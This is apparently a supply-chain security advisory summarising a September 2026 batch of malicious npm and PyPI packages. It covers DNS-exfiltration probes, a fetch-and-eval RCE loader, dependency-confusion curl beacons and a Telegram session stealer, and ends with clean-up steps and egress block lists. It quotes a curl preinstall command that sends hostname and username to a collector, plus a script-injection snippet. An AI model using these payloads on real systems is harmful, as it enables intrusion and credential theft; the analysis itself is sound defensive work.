DependencyWatch.io
Talk to PrecursorScan a lockfile

GitHub Advisory malware sweep, 22 September 2026

HighAdvisory sweepnpmPyPI

GHSA 2026-09-21 (late) + 2026-09-22: ~25 new npm advisories + 2 pip. Day 5 of the oob.algamil7x.xyz DNS-OOB operator adds @baanx/abis and @baanx/blockchain-config at 9.9.11. Three hardhat-* typosquats (Ethereum toolchain) carry real axios-loader RCE via ipcheck-hashed.vercel.app. @uh-platform/* (5 pkgs) plus @uol-afiliados and @asdfaskdjfksadhfkasf fire Burp Collaborator OOB. pip pullgetsage archives Telegram Desktop tdata and POSTs to Cloudflare Workers.

Published 22 Sept 2026

Check your package-lock.jsonSource advisory
At a glancemulti-2026-09-22-ghsa-malware-sweep
39
Packages tracked57 malicious versions

Every version named by the advisory is in the scanner, so a lockfile check finds it directly.

Severity
High
Type
Advisory sweep
Published
22 Sept 2026
Ecosystems
npmPyPI
Detected by
GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, ESTsecurity, kam193/bad-packages, jaschadub/compromised-packages-check
Also known as
2026-09-22 GHSA npm sweep, @baanx/abis + @baanx/blockchain-config algamil7x.xyz day 5, hardhat-* ipcheck-hashed.vercel.app axios-loader RCE

Advisory sweep. A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.

What happened

The full picture

Between roughly 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC, GitHub Advisory Database (plus the OpenSSF malicious-packages bulk export and Amazon Inspector's IN-MAL feed) published approximately 25 new npm malware advisories and 2 pip advisories. The window is dominated by two operator continuations from prior days plus one new typosquat wave with confirmed require-time RCE.

Cluster A - @baanx/* oob.algamil7x.xyz DNS-OOB (day 5)

PackageVersionMALPrefix
@baanx/abis9.9.11MAL-2026-16351bxabis
@baanx/blockchain-config9.9.11MAL-2026-16352bxcfg

Both published 2026-09-21 16:52-53 UTC and detected by Amazon Inspector within minutes. The install chain matches the 2026-09-21 @baanx/solana-lib (Cluster B of that sweep) verbatim: scripts.install: node index.js loads a runtime/support/telemetry/probe/impl.js module which reads os.userInfo().username, os.hostname(), and process.cwd() basename via module.constructor._load (indirect Node builtin resolution to defeat static analysis), concatenates with a timestamp and a per-package prefix, and issues a dns.resolve4 on <prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz. Sibling probe/*.js files (c7a1f4.js and f0d4b7.js this time) carry String.fromCharCode hex-array obfuscation of method names and destination domain plus telemetry/connectivity probe cover-story comments. Same operator, same DNS zone, same code style - now spanning eight consecutive days.

Day tally so far: day 1 (2026-09-18, @tink/tink-link-core@9.9.10, tinkcore), day 2 (2026-09-19, four @shared-web/@shared-runtime/@insiderintelligence packages at 9.9.10), day 3 (quiet), day 4 (2026-09-21, @baanx/solana-lib@9.9.9/9.9.10, bxsol), day 5 (today, @baanx/abis + @baanx/blockchain-config at 9.9.11, bxabis + bxcfg). Expect day 6 tomorrow under yet another internal-lookalike scope.

Cluster B - hardhat-* axios-loader RCE typosquat wave

PackageVersionsMALFirst seenUnpublished
hardhat-base2.2.0, 2.2.2MAL-2026-163482026-09-14 02:55 UTC2026-09-14 13:49 UTC (~10 h)
hardhat-core1.0.0, 2.1.2MAL-2026-37132026-05-13 11:45 UTC (1.0.0), 2026-09-17 00:30 UTC (2.1.2)2026-09-17 02:40 UTC (2.1.2, ~2 h)
hardhat-devkit2.3.6MAL-2026-163492026-09-17 21:49 UTC2026-09-17 22:36 UTC (~47 min)

All three impersonate the Ethereum hardhat toolchain. hardhat-base's README self-identifies as such and copies pino logger badges as further camouflage. Shared payload primitive:

  1. Module exports a "middleware" function
  2. On invocation, child_process.spawn a detached Node process running lib/caller.js
  3. lib/caller.js base64-decodes a hardcoded URL held in a fake DEV_API_KEY process shim (decodes to https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5 for hardhat-core)
  4. POSTs to that endpoint via axios
  5. Passes the response body to new Function.constructor('require', responseBody)
  6. Invokes the resulting function with the real require

The anonymous Vercel-hosted endpoint gets arbitrary Node RCE with full module-system access, and the payload can be swapped without republishing the package. Same architectural class as chai-testing (Cluster D of 2026-09-21 sweep) but with the Vercel-hosted RCE endpoint (ipcheck-hashed.vercel.app) instead of an inline Function() build.

All three packages were operator-unpublished within hours of publish. Private mirrors and npm-follower feeds may still hold the tarballs. The MAL-2026-3713 record for hardhat-core@1.0.0 dates to 2026-05-13 (long-standing squat); the operator republished the same primitive under hardhat-core@2.1.2 on 2026-09-17 and then extended into hardhat-base and hardhat-devkit. This is one operator, three package names.

Cluster C - @uh-platform/* + @uol-afiliados + @asdfaskdjfksadhfkasf Burp Collaborator OOB dep-confusion

PackageVersionGHSAMAL
@uh-platform/cloud101.0.0GHSA-g4jv-48fc-mhh2MAL-2026-16358
@uh-platform/domain-widget100.0.0GHSA-xh82-8x4m-9w6cMAL-2026-16359
@uh-platform/nadaver102.0.0-MAL-2026-16360
@uh-platform/nadaver2102.0.0GHSA-99r3-9hc2-372pMAL-2026-16361
@uh-platform/webcard99.0.0GHSA-5h99-j25f-5q62MAL-2026-16362
@uol-afiliados/affiliated-config-lib102.0.0GHSA-mh6g-473c-fvhxMAL-2026-16370
@asdfaskdjfksadhfkasf/nadaver2102.0.0-MAL-2026-16357

All seven published 2026-09-21 17:17-19:21 UTC (2-hour window; one operator engagement). Manifest descriptions read "Nodejs SDK for Redacted". Sentinel dep-confusion versions (99.0.0-102.0.0) squat plausibly-internal names. Payload:

// scripts.preinstall: node index.js
child_process.exec(`curl http://$(hostname).$(whoami).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`)

On install, the operator sees the source IP, hostname, and OS username of every host that resolved one of these dep-confusion names ahead of an internal registry. The @uol-afiliados variant curls a namespace-scoped URL (pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/[package]). The @asdfaskdjfksadhfkasf/nadaver2 scope is spam-labelled iteration by the same operator (likely test publishes).

Pentest-shaped but every install leaks real host identity. Same Burp Collaborator subdomain across all seven packages confirms single-operator attribution.

Cluster D - @vite-*/* + @vitets six-package batch quarantine

PackageVersionGHSAFirst seenQuarantined
@vite-tab/tab3.15.10, 5.7.0GHSA-74pv-97c8-9hfp2026-06-30 06:51 UTC2026-09-21 23:16 UTC
@vite-tab/tabui7.15.16GHSA-q5h9-3mvh-45cf2026-07-14 06:45 UTC2026-09-21 23:15 UTC
@vitets/vite-ts1.5.10GHSA-733v-wc48-f65r2026-06-29 20:57 UTC2026-09-21 23:16 UTC
@vite-pro/vite-ui2.5.10GHSA-phpx-wpr2-26pv2026-06-29 20:38 UTC2026-09-21 23:14 UTC
@vite-mcp/vite-type6.44.1GHSA-mqf9-3wx8-45cj2026-06-29 20:03 UTC2026-09-21 23:12 UTC
@vite-ts/vite-ui6.44.1GHSA-jm6h-xxm2-2mr32026-06-29 20:18 UTC2026-09-21 23:12 UTC

All six had a single "legit-looking" version published 2026-06-29 through 2026-07-14 (a coordinated multi-scope typosquat wave against the Vite toolchain), remained live for 2-3 months, and were batch-quarantined by npm in a 4-minute window on 2026-09-21 23:12-23:16 UTC. The advisories carry the generic CWE-506 boilerplate but the naming pattern (@vite-tab, @vitets, @vite-pro, @vite-mcp, @vite-ts all publishing packages named tab/tabui/vite-ts/vite-ui/vite-type) is a classic typosquat cluster. Any lockfile with a hit was exposed for ~11 weeks.

Cluster E - Aug 4 residual typosquat batch quarantine

PackageVersionGHSAFirst seenQuarantined
test-react-app-in1.0.0GHSA-wm2w-4m2r-mv732026-08-04 19:13 UTC2026-09-22 03:15 UTC
test-react-app-out1.0.0GHSA-vx3p-fwmg-p7g82026-08-04 19:14 UTC2026-09-22 03:15 UTC
test-react-app-way1.0.0GHSA-264w-9h55-v6372026-08-04 19:13 UTC2026-09-22 03:15 UTC
de-morgan2.1.3GHSA-2vc2-gwg3-2gpx2026-08-04 19:28 UTC2026-09-22 03:15 UTC
transform-es2015-unicode-regex6.24.1GHSA-jcxm-5v55-599q2026-08-04 19:36 UTC2026-09-22 03:15 UTC
emoji-prints-fancy5.6.4GHSA-m523-mggx-3fgr2026-07-19 09:49 UTC2026-09-22 03:16 UTC

Batch-quarantined by npm in a 90-second window on 2026-09-22 03:15-03:16 UTC. All six had a single version published within a 23-minute burst on 2026-08-04 19:13-19:36 UTC (except emoji-prints-fancy which landed two weeks earlier). This window overlaps the 2026-08-04 keyv/cacheable Shai-Hulud storm - late catch by npm's malware review of adjacent typosquat activity.

transform-es2015-unicode-regex@6.24.1 is notable: it mimics the version series of the legitimate Babel plugin babel-plugin-transform-es2015-unicode-regex@6.24.1 (dropping the babel-plugin- prefix). A lockfile grep for the legitimate name won't catch it. de-morgan@2.1.3 and emoji-prints-fancy@5.6.4 reuse plausible version numbers to look established on a registry search. GHSA bodies are generic CWE-506 boilerplate; the specific payload is not disclosed but the batch quarantine implies a real one.

Cluster F - math-* typosquat batch quarantine

math-universe@1.0.0/1.0.1/1.0.2 (GHSA-97cg-r346-fg22, MAL-2026-16367), mathmain@1.0.0 (GHSA-v6mx-2p6p-3628, MAL-2026-16368), and mathsbase@1.0.0/1.0.1/1.0.2 (GHSA-v4cx-64j6-84xm, MAL-2026-16369). All quarantined 2026-09-21 19:48-20:06 UTC. Lookalikes for mathjs/math-utils/mathbase. CWE-506 boilerplate advisories.

Cluster G - pip pullgetsage Telegram Desktop tdata stealer

pullgetsage@0.1.2 (MAL-2026-16366, GHSA-4whg-cvj9-8v3f). Description advertises "a library filled with books"; actual behaviour on install/import:

  1. Locates the installer's Telegram Desktop tdata directory (contains active session credentials)
  2. Archives it into a zip named aiosendletter_logs
  3. POSTs the zip to a hardcoded Cloudflare Workers endpoint
  4. Prints "aioletter initialized" and swallows any exception

Successful exfil = full account takeover of the installer's Telegram: message history, contact list, MFA codes routed through Telegram, admin rights on any bot/channel the installer manages. Same architectural class as SysBumps / TelegramGrabber but with a Cloudflare Workers front (bypasses simple IP-based egress filters).

Cluster H - pentest/CTF/research artefacts (real payloads, non-hostile framing)

  • bnppf-flag-icons@99.99.99 (MAL-2026-16350): self-labelled "SECURITY RESEARCH POC - see README"; BNPPF = BNP Paribas Fortis; sentinel 99.99.99 version pattern
  • radio-player-theme@1.0.0-6.0.0 (MAL-2026-16347): self-labelled "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation"; six versions on YesWeHack bounty engagement between 2026-09-11 and 2026-09-19
  • my-ctf-helper-script-9921@1.0.0 (GHSA-qhgh-m36j-h879, MAL-2026-16365): CTF-labelled name, real payload: top-level fetch to hardcoded webhook.site collector with document.cookie in query string on require/import. Browser-tier cookie exfil if loaded via unpkg or bundled with a require-at-build tool
  • bytepack-probe-a7x3@1.0.0/1.0.1 (GHSA-pjjj-2389-rwj6, MAL-2026-16364): declares a leak-internal dependency pointing to an external HTTPS tarball on an internal-looking domain; on npm install the tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish
  • pip starlette-healthchecks@1.3.1/1.3.2 (MAL-2026-16356 per OpenSSF): typosquat of legitimate starlette-healthcheck (single "check"), telemetry probe on install; both versions still live on PyPI at publish time. Neutral framing but real network exfil

Cluster I - blue-string-formatter-utilss xss.report DOM loader

blue-string-formatter-utilss@1.2.0 (GHSA-4g26-86h7-34h3, MAL-2026-16363). Impersonates a string-formatting utility. payload.js IIFE:

(function(){
  const s = document.createElement('script');
  s.src = 'https://xss.report/c/k3rne111';
  document.body.appendChild(s);
})();

xss.report is a known XSS payload-distribution service; the injected script is attacker-controlled and can be swapped without republishing. Fires in any DOM environment: bundlers that vendor into browser builds, unpkg loaders, jsdom test runners. Operator-unpublished within an hour of publish (2026-09-17 21:20-22:35 UTC) but the tarball may still be cached by private mirrors.

Cluster J - misc quarantines (payload not disclosed in GHSA body)

  • @zig-design-system/react@99.0.0 (GHSA-rqjq-px4f-2m8r): Zig design-system typosquat; sentinel 99.0.0; quarantined 2026-09-21 23:39 UTC
  • @woodpecker-web-shared/components@1.20.4/2.20.5/4.20.5 (MAL-2026-16354): Woodpecker CI web-shared component impersonation with inflated majors; three versions published within 2 hours on 2026-09-21
  • wos-library@99.0.0/999.999.999 + wos-library-ui@99.0.0/999.999.999 (GHSA-mfwv-9gcf-2mww, GHSA-wh36-rj36-m3ff, MAL-2026-16373): sentinel dep-confusion pair, quarantined 2026-09-21 23:36 UTC
  • react-context-form-tdsss@9.0.0 (GHSA-pg33-6m24-4p63, MAL-2026-16372): sentinel major on a react-context-form-lookalike name

Cross-operator patterns worth flagging

  1. The oob.algamil7x.xyz DNS-OOB operator is on day 5 (fourth publish day; day 3 was quiet). New scopes each day (@tink, @shared-web/@shared-runtime/@insiderintelligence, @baanx) but the same DNS zone, same code style, same String.fromCharCode obfuscation, same module.constructor._load evasion. If your egress rules still allow lookups against algamil7x.xyz, you have missed the durable IOC of this operator.
  2. *The `hardhat- axios-loader RCE is a new operator with a Vercel-hosted C2.** The primitive (detached child + base64-decoded URL + axios POST + Function.constructor eval) is the same architectural class as chai-testing (2026-09-21 Cluster D) but the C2 is different (ipcheck-hashed.vercel.app, not the inline Function()` build). Vercel-hosted C2 endpoints are becoming a pattern - they inherit Vercel's TLS and reputation, so plain domain-reputation egress filters miss them.
  3. Burp Collaborator OOB is now a per-day fixture. Different operators, different subdomains (pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com today vs. others yesterday), but *.oastify.com is now consistently in the daily sweep.
  4. Late-catch batch quarantines are compressing. npm quarantined the @vite-*/* cluster (6 packages) in a 4-minute window and the Aug 4 residual cluster (6 packages) in a 90-second window. This is npm review triaging deferred cases in operator-grouped batches, and it means a lockfile hit today may correspond to exposure that started months ago.
  5. Telegram Desktop tdata is now a documented pip-side exfil target. pullgetsage is the first Telegram credential stealer in the DependencyWatch corpus. The tdata directory is a well-known Windows/macOS session-token store and other stealer families are likely to follow.

Registry state

All packages in Clusters A, D, E, F, I, J are flagged as malware on npm and quarantined (replaced with the 0.0.1-security holding package). Cluster B (hardhat-*) and Cluster H's bytepack-probe-a7x3 were operator-unpublished within hours; the tarballs may still be reachable via npm follower feeds and private mirrors. Cluster C (@uh-platform/*, @uol-afiliados, @asdfaskdjfksadhfkasf) is still live at publish time. Cluster G (pullgetsage) and Cluster H's starlette-healthchecks remain live on PyPI at publish time.

Durable network-edge mitigations: egress blocks on oob.algamil7x.xyz, ipcheck-hashed.vercel.app, *.oastify.com (or the specific pa33pg1od9cr4ffnrzec8864jvpmdd12 subdomain), xss.report, webhook.site, and unexpected Cloudflare Workers subdomains from CI runners.

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, ESTsecurity, kam193/bad-packages, jaschadub/compromised-packages-check (PR #136). Per-package IOC details drawn from GHSA and OpenSSF osv/malicious/ advisory bodies published between 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC.

dependency-confusiontyposquatdns-exfiltrationcredential-theftobfuscationci-cd-compromise
Affected packages

39 packages 57 versions

These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once. It runs in your browser and nothing is uploaded.

Check package-lock.json →Check requirements.txt →
Impact

What it does if you installed it

  • *Cluster A - npm `@baanx/ oob.algamil7x.xyz DNS-OOB (day 5 of the operator; new bxabis + bxcfg prefixes)**: @baanx/abis@9.9.11 (MAL-2026-16351, published 2026-09-21 17:15 UTC) and @baanx/blockchain-config@9.9.11 (MAL-2026-16352, same publish window). Same install-chain and evasion as the 2026-09-21 @baanx/solana-lib (Cluster B of that sweep): scripts.install: node index.js loads runtime/support/telemetry/probe/impl.js, which reads os.userInfo().username, os.hostname(), and process.cwd() basename via module.constructor._load (indirect Node builtin resolution to defeat static analysis), joins them with a timestamp and a per-package prefix (bxabis for @baanx/abis, bxcfg for @baanx/blockchain-config, matching the bxsol prefix used yesterday on @baanx/solana-lib), and issues a dns.resolve4 on <prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz. Sibling probe/*.js files carry String.fromCharCode hex-array obfuscation and telemetry/connectivity probe` cover-story comments. Same operator, same DNS zone, same code style as days 1-4 (2026-09-18 through 2026-09-21). Amazon Inspector flagged both within minutes of each other
  • *Cluster B - npm `hardhat- Ethereum-toolchain typosquat wave with ipcheck-hashed.vercel.app axios-loader RCE**: hardhat-base@2.2.0/2.2.2 (MAL-2026-16348), hardhat-core@1.0.0/2.1.2 (MAL-2026-3713, republished 2026-09-17 after the original May 13 detection), hardhat-devkit@2.3.6 (MAL-2026-16349). Three packages impersonate the Ethereum hardhat toolchain (README self-identifies as hardhat-base, copies pino logger badges as camouflage). Shared payload primitive: the exported "middleware" spawns a *detached* Node child that runs lib/caller.js; the child base64-decodes a hardcoded URL held in a fake DEV_API_KEY process shim (decodes to https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5 for hardhat-core), POSTs to it via axios, and passes the response body to new Function.constructor('require', s) invoked with the real require. This grants the anonymous Vercel-hosted endpoint arbitrary Node RCE with full module-system access. All three packages were operator-unpublished within hours (hardhat-base ~2h, hardhat-core-2.1.2 ~2h, hardhat-devkit ~47min) — but private mirrors and npm followers may still hold the tarballs. Same architectural class as chai-testing` (Cluster D of 2026-09-21 sweep) — detached require-time RCE via axios
  • *Cluster C - npm `@uh-platform/ + @uol-afiliados/affiliated-config-lib + @asdfaskdjfksadhfkasf Burp Collaborator OOB dep-confusion (single-operator engagement)**: 5x @uh-platform — cloud@101.0.0 (GHSA-g4jv-48fc-mhh2, MAL-2026-16358), domain-widget@100.0.0 (GHSA-xh82-8x4m-9w6c, MAL-2026-16359), nadaver@102.0.0 (MAL-2026-16360), nadaver2@102.0.0 (GHSA-99r3-9hc2-372p, MAL-2026-16361), webcard@99.0.0 (GHSA-5h99-j25f-5q62, MAL-2026-16362); plus @uol-afiliados/affiliated-config-lib@102.0.0 (GHSA-mh6g-473c-fvhx, MAL-2026-16370) and @asdfaskdjfksadhfkasf/nadaver2@102.0.0 (MAL-2026-16357). All published 2026-09-21 17:17-19:21 UTC with sentinel dep-confusion versions (99.0.0-102.0.0) and manifest description "Nodejs SDK for Redacted". Preinstall runs node index.js which invokes child_process.exec on a curl command whose URL embeds $(hostname).$(whoami) (some variants use $(hostname) as a DNS subdomain of pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com, some POST to it directly) — leaks source IP, hostname, and OS username to a Burp Collaborator instance. Pentest-shaped but the collector harvests real host identity from every install. The @asdfaskdjfksadhfkasf` scope is a spam-labelled iteration by the same operator
  • *Cluster D - npm `@vite-/ + @vitets` six-package batch quarantine (typosquat wave from June-July 2026)*: @vite-tab/tab@3.15.10/5.7.0 (GHSA-74pv-97c8-9hfp, MAL-2026-6988), @vite-tab/tabui@7.15.16 (GHSA-q5h9-3mvh-45cf, MAL-2026-16371), @vitets/vite-ts@1.5.10 (GHSA-733v-wc48-f65r), @vite-pro/vite-ui@2.5.10 (GHSA-phpx-wpr2-26pv), @vite-mcp/vite-type@6.44.1 (GHSA-mqf9-3wx8-45cj), @vite-ts/vite-ui@6.44.1 (GHSA-jm6h-xxm2-2mr3). All six had a single "legitimate-looking" version published 2026-06-29 through 2026-07-14 and were batch-quarantined by npm 2026-09-21 23:12-23:16 UTC (four-minute window; single ticket sweep). Advisory bodies carry the generic CWE-506 "any computer that has this package installed should be considered fully compromised" boilerplate — the specific per-package payload was not disclosed in the GHSA bodies, but the coordinated multi-scope naming (@vite-tab, @vitets, @vite-pro, @vite-mcp, @vite-ts) is a classic typosquat cluster targeting the Vite toolchain
  • Cluster E - npm test-react-app-{in,out,way} + de-morgan + transform-es2015-unicode-regex + emoji-prints-fancy Aug 4 residual typosquat batch quarantine: test-react-app-in@1.0.0 (GHSA-wm2w-4m2r-mv73), test-react-app-out@1.0.0 (GHSA-vx3p-fwmg-p7g8), test-react-app-way@1.0.0 (GHSA-264w-9h55-v637), de-morgan@2.1.3 (GHSA-2vc2-gwg3-2gpx), transform-es2015-unicode-regex@6.24.1 (GHSA-jcxm-5v55-599q), emoji-prints-fancy@5.6.4 (GHSA-m523-mggx-3fgr). All were published in the 2026-08-04 window (except emoji-prints-fancy on 2026-07-19) and batch-quarantined by npm 2026-09-22 03:15-03:16 UTC (90-second sweep window). transform-es2015-unicode-regex@6.24.1 mimics the version series of the real Babel plugin babel-plugin-transform-es2015-unicode-regex@6.24.1; de-morgan@2.1.3 and emoji-prints-fancy@5.6.4 reuse legitimate-looking version numbers to look plausible on a registry search. Late catch of an Aug 4 typosquat wave that landed alongside the keyv/cacheable Shai-Hulud storm. GHSA bodies are generic CWE-506 boilerplate; treat as install-time compromise until per-package IOC lands
  • *Cluster F - npm `math- typosquat batch quarantine**: math-universe@1.0.0/1.0.1/1.0.2 (GHSA-97cg-r346-fg22, MAL-2026-16367), mathmain@1.0.0 (GHSA-v6mx-2p6p-3628, MAL-2026-16368), mathsbase@1.0.0/1.0.1/1.0.2` (GHSA-v4cx-64j6-84xm, MAL-2026-16369). Quarantined 2026-09-21 19:48-20:06 UTC. All three names are lookalikes for popular math libraries (mathjs, math-utils, mathbase). CWE-506 boilerplate advisories
  • Cluster G - pip pullgetsage@0.1.2 Telegram Desktop tdata stealer: MAL-2026-16366. Advertises itself as "a library filled with books" — actual behaviour: on install/import, archives the installer's Telegram Desktop tdata directory into a zip named aiosendletter_logs and POSTs it to a hardcoded Cloudflare Workers endpoint. tdata contains active Telegram session credentials — successful exfil gives the operator full account takeover of the installer's Telegram (message history, contact list, MFA codes routed through Telegram, admin rights on any Telegram bot/channel the installer manages). Concealment: package prints "aioletter initialized" and swallows all exceptions to look like a benign import. Same architectural class as the SysBumps / TelegramGrabber families but with a Cloudflare Workers front (bypasses simple IP-based egress filters)
  • Cluster H - pentest/CTF/research artefacts: bnppf-flag-icons@99.99.99 (MAL-2026-16350) — self-described "SECURITY RESEARCH POC" (BNPPF = BNP Paribas Fortis; sentinel 99.99.99 version). radio-player-theme@1.0.0-6.0.0 (MAL-2026-16347) — self-described "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation", six versions published 2026-09-11 through 2026-09-19 (YesWeHack bounty engagement). my-ctf-helper-script-9921@1.0.0 (GHSA-qhgh-m36j-h879, MAL-2026-16365) — CTF-labelled but real payload: on require/import, top-level fetch to a hardcoded webhook.site collector URL with document.cookie appended as a query-string parameter (browser-tier cookie exfil if loaded via unpkg or in a bundler that runs require at build). bytepack-probe-a7x3@1.0.0/1.0.1 (GHSA-pjjj-2389-rwj6, MAL-2026-16364) — SSRF-probe: package declares a leak-internal dependency pointing to an external HTTPS tarball on an internal-looking domain; on npm install the tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish. pip starlette-healthchecks@1.3.1/1.3.2 (GHSA-4whg-cvj9-8v3f, MAL-2026-16356) — typosquat of legitimate starlette-healthcheck, telemetry probe (per bad-packages.kam193.eu). All Cluster H items are neutral/research disclosures but the payloads are real; hits should still be treated as compromise
  • Cluster I - npm blue-string-formatter-utilss@1.2.0 xss.report DOM loader: GHSA-4g26-86h7-34h3, MAL-2026-16363. Impersonates a string-formatting utility; payload.js IIFE creates a <script> element with src='https://xss.report/c/k3rne111' and appends it to document.body. xss.report is a known XSS payload-distribution service — the injected script is attacker-controlled and can be swapped without republishing the package. Fires in any DOM environment: bundlers that vendor the package into a browser build, unpkg loaders, jsdom-based test runners. Operator-unpublished within an hour
  • Cluster J - npm miscellaneous quarantines (payloads not disclosed in GHSA body): @zig-design-system/react@99.0.0 (GHSA-rqjq-px4f-2m8r) — Zig design-system typosquat, quarantined 2026-09-21 23:39 UTC. @woodpecker-web-shared/components@1.20.4/2.20.5/4.20.5 (MAL-2026-16354) — Woodpecker CI web-shared component impersonation with sentinel-like inflated majors, three versions published within 2 hours on 2026-09-21. wos-library@99.0.0/999.999.999 + wos-library-ui@99.0.0/999.999.999 (GHSA-mfwv-9gcf-2mww + GHSA-wh36-rj36-m3ff, MAL-2026-16373) — sentinel dep-confusion pair quarantined 2026-09-21 23:36 UTC. react-context-form-tdsss@9.0.0 (GHSA-pg33-6m24-4p63, MAL-2026-16372) — sentinel major on a react-context-form-lookalike name. All boilerplate CWE-506; treat as install-time compromise pending IOC
What to do

Clean-up steps

  1. Grep every package-lock.json, yarn.lock, pnpm-lock.yaml, package.json, requirements.txt, Pipfile.lock, and poetry.lock in your org for every package name in Clusters A through J. Uninstall on hit, wipe node_modules/.venv, delete the lockfile, rebuild against a clean cache. Clusters A, B, C, G, H (subset), and I include real disclosed payloads (DNS-OOB, axios-loader RCE, Burp Collaborator OOB, Telegram tdata stealer, SSRF probe, xss.report DOM loader) - a hit on any of those is a compromise, not a warning
  2. *For Cluster A (`@baanx/ day 5)**: block oob.algamil7x.xyz at your resolver (same operator zone as the 2026-09-18, 2026-09-19, and 2026-09-21 clusters - now spanning eight days) and add every bx* prefix (bxsol, bxabis, bxcfg) to your DNS monitoring. Any host that installed the packages DNS-resolved a label carrying hostname/username/cwd to the operator - rotate credentials accessible from that host. If your organization owns any @baanx internal scope, pin it to your private registry with .npmrc; every new day this operator publishes under a fresh internal-looking scope name, so pin-by-scope is a losing game - the durable mitigation is resolver-level DNS blocking of algamil7x.xyz`
  3. *For Cluster B (`hardhat- axios-loader RCE)**: block ipcheck-hashed.vercel.app at CI egress (specifically the /api/auth/f1f097d93c318c92f0c5 path). Uninstall on hit and rotate every credential visible to the parent Node process. --ignore-scripts does NOT block this - the RCE fires when the package's exported middleware is invoked, which happens at import/require time in most Hardhat plugin loaders. If any developer or CI job installed a hardhat- package expecting the real Nomic Foundation hardhat toolchain (@nomicfoundation/hardhat-`), treat the workstation as compromised - the fetched payload is attacker-controlled and can be a wallet drainer, a stager, or a credential stealer depending on what the operator serves at the time
  4. *For Cluster C (`@uh-platform/ + @uol-afiliados + @asdfaskdjfksadhfkasf Burp Collaborator)**: block *.oastify.com at CI egress (specifically pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com). If your org maintains an internal @uh-platform, @uol-afiliados, or similar-looking scope, pin it to your registry with .npmrc` and configure the internal registry to refuse public-npm publishes under those names. Pentest-shaped but each install leaks source IP, hostname, and OS username
  5. *For Cluster D (`@vite-/` batch)*: uninstall on hit; audit your Vite-tooling supply chain for any of the six exact package names. All were live for 2-3 months before quarantine, so a hit implies extended exposure. Rotate any credentials the parent Node process could reach during that window. Add all six scopes to your registry deny-list for at least 30 days
  6. *For Cluster E (`test-react-app- + de-morgan + transform-es2015-unicode-regex + emoji-prints-fancy)**: uninstall on hit. transform-es2015-unicode-regex in particular is dangerous because a lockfile grep for babel-plugin-transform-es2015-unicode-regex won't catch it - the malicious name drops the babel-plugin- prefix. Grep for the bare transform-es2015-unicode-regex` name too. Any lockfile with a hit was exposed for ~7 weeks
  7. *For Cluster F (`math- batch)**: uninstall math-universe, mathmain, mathsbase on hit; verify no lockfile intended mathjs` and typo'd one of these lookalike names
  8. For Cluster G (pullgetsage pip Telegram stealer): uninstall on hit AND treat the installer's Telegram account as compromised - log out ALL sessions (Telegram Settings > Devices > Terminate all other sessions), rotate 2FA, and audit sent messages for the past 24h for any evidence of operator interaction. If the installer was a Telegram bot admin, rotate the bot token immediately - the tdata archive contains stored bot credentials
  9. For Cluster H (pentest/CTF artefacts): uninstall on hit. For bnppf-flag-icons and radio-player-theme, these look neutral-research but the payloads are still live - block the collector domains. For my-ctf-helper-script-9921, block webhook.site at your CDN/CSP if any web build vendored the package. For bytepack-probe-a7x3, no npm-side residue if you didn't install during its 7-minute window, but private mirrors that snapshotted it may still serve it. For pip starlette-healthchecks, rename to starlette-healthcheck (single "check") if you meant the legit package
  10. For Cluster I (blue-string-formatter-utilss xss.report): block xss.report at your web CSP script-src; audit HTML/JS sources for any <script src="https://xss.report/..."> reference and reissue session cookies for visitors that hit those pages
  11. For Cluster J (misc quarantines): uninstall on hit and pin the internal-looking names (@zig-design-system, @woodpecker-web-shared, wos-library, react-context-form) to your private registry
  12. For every npm install in CI, prefer --ignore-scripts and enforce it at the runner level (but note it does NOT block Cluster B - the RCE fires on require, not on install script). Layer with egress denylists on oob.algamil7x.xyz, ipcheck-hashed.vercel.app, *.oastify.com, xss.report, webhook.site, and unexpected Cloudflare Workers subdomains. Extend the pin-lists from prior sweeps (@nimbusedge*/*, @baanx/*) with hardhat-base, hardhat-core, hardhat-devkit, @uh-platform/*, @uol-afiliados/*, @vite-tab/*, @vitets/*, @vite-pro/*, @vite-mcp/*, @vite-ts/*, @zig-design-system/*, @woodpecker-web-shared/*, wos-library*, react-context-form-*, de-morgan, transform-es2015-unicode-regex, emoji-prints-fancy, math-universe, mathmain, mathsbase, test-react-app-*, blue-string-formatter-utilss, bytepack-probe-*, bnppf-*, radio-player-theme, my-ctf-helper-script-*, and pip pullgetsage / starlette-healthchecks
References

Sources

multi-2026-09-22-ghsa-malware-sweepBack to incidentsSubmit a correction
Am I affected?

Check your lockfile against this and every other incident.

Paste a lockfile and it is matched on your own device against every compromised version we track. Nothing is uploaded and there is no account.

Check your package-lock.jsonAll incidents